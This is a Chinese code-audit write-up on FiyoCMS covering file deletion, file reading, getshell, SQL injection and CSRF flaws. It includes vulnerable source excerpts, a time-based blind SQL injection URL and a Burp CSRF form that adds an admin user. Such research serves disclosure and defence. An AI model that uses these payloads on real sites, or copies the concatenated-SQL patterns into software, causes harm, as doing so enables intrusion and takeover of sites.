代码审计-FIYOCMS

项目地址:https://github.com/FiyoCMS/FiyoCMS

以下测试审计都是带着referer头操作的,有的地方会有限制,不再详述

推荐使用:Modify header

任意文件删除漏洞

先用seay扫一波看一下

跟进backuper.php看一下

这个地方的代码问题在于

1
if(!isset($_SESSION['USER_LEVEL']) AND $_SESSION['USER_LEVEL'] > 2) die ();

这样代码,如果设置了USER_LEVEL,前者为0,只有设置了USER_LEVEL,后者才有可能为1。

继续看下面

1
unlink("../../../../.backup/$_POST[file]");

直接拼接的,构造payload如下

鸡肋文件读取

dapur/apps/app_theme/libs/check_file.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
define('_FINDEX_','BACK');
require_once ('../../../system/jscore.php');
$file = $url= "$_GET[src]/$_GET[name]";
$furl = "../../../$url";
$content = strlen("$file") - 5;
$content = substr("$file",$content);
$file = strpos("$content",".");
$file = substr("$content",$file+1);
if($file == "html" || $file == "htm" || $file == "xhtml" || $file == "js" ||
$file == "jsp" || $file == "php" || $file == "css" || $file == "xml" ||$file="txt") :
#die($furl);
$content = @file_get_contents($furl);
$content = htmlentities($content);
?>

发现它拼接换路径之后截取了后5位,然后再执行的

1
$file = strpos("$content",".");

那么可以通过构造src来任意读取含有下面那些后缀的文件,比较鸡肋,再看看能不能挖到其他的配合利用。

GETSHELL

dapur/apps/app_theme/libs/save_file.php

看代码

构造payload

而且有趣的是

1
2
3
4
5
6
7
8
9
10
if (get_magic_quotes_gpc()) {
function stripslashes_gpc(&$value)
{
$value = stripslashes($value);
}
array_walk_recursive($_GET, 'stripslashes_gpc');
array_walk_recursive($_POST, 'stripslashes_gpc');
array_walk_recursive($_COOKIE, 'stripslashes_gpc');
array_walk_recursive($_REQUEST, 'stripslashes_gpc');
}

为了因为开GPC加上的反斜杠,自定义了函数全部去掉。

注入漏洞

update

看database.php中的update方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
public static function update($table,$rows,$where)
{
$update = 'UPDATE '.$table.' SET ';
$keys = array_keys($rows);
for($i = 0; $i < count($rows); $i++){
if(is_string($rows[$keys[$i]]) AND $rows[$keys[$i]] !== '+hits')
{
$update .= '`'.$keys[$i].'`="'.$rows[$keys[$i]].'"';
}
else
{
if($rows[$keys[$i]] == '+hits') $rows[$keys[$i]] = $keys[$i] . '+'. 1;
$update .= '`'.$keys[$i].'`='.$rows[$keys[$i]];
}
// Parse to add commas
if($i != count($rows)-1)
{
$update .= ',';
}
}
$update .= ' WHERE '.$where;
self::$last_query = $update ;
static $cons = false;
try{
$result = self::connect();
$result = self::$db->prepare($update);
$query = $result ->execute();
}

很多参数都是直接拼接的,全局搜索一下调用找找可控点

很多调用的地方,跟进comment_status.php看一下

没有任何过滤直接代入拼接

构造payload

1
http://www.test.com/fiyocms/dapur/apps/app_comment/controller/comment_status.php?stat=0&id=3 or if(1,sleep(5),1)#

可以直接进行时间盲注。

delete
1
2
3
4
5
6
7
8
9
10
public static function delete($table,$where = null)
{
if($where == null)
{
$delete = 'DELETE FROM '.$table;
}
else
{
$delete = 'DELETE FROM '.$table.' WHERE '.$where;
}

原因同update

利用点如/dapur/apps/app_user/controller/status.php

1
2
3
4
if($_GET['stat']=='kick'){
$db->delete(FDBPrefix.'session_login','user_id='.$_GET['id']);
alert('success',Status_Applied,1);
}

CSRF

通过抓包发现

后台添加管理的页面没有防csrf,使用burp一键生成csrf表单发送给管理员

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="http://www.test.com/fiyocms/dapur/index.php?app=user&act=add" method="POST">
<input type="hidden" name="apply" value="Next" />
<input type="hidden" name="id" value="" />
<input type="hidden" name="z" value="" />
<input type="hidden" name="user" value="p0desta5" />
<input type="hidden" name="z" value="" />
<input type="hidden" name="x" value="" />
<input type="hidden" name="password" value="p0desta5 />
<input type="hidden" name="kpassword" value="p0desta5" />
<input type="hidden" name="email" value="1232&#64;1&#46;com" />
<input type="hidden" name="level" value="132" />
<input type="hidden" name="name" value="12332132" />
<input type="hidden" name="status" value="1" />
<input type="hidden" name="bio" value="" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>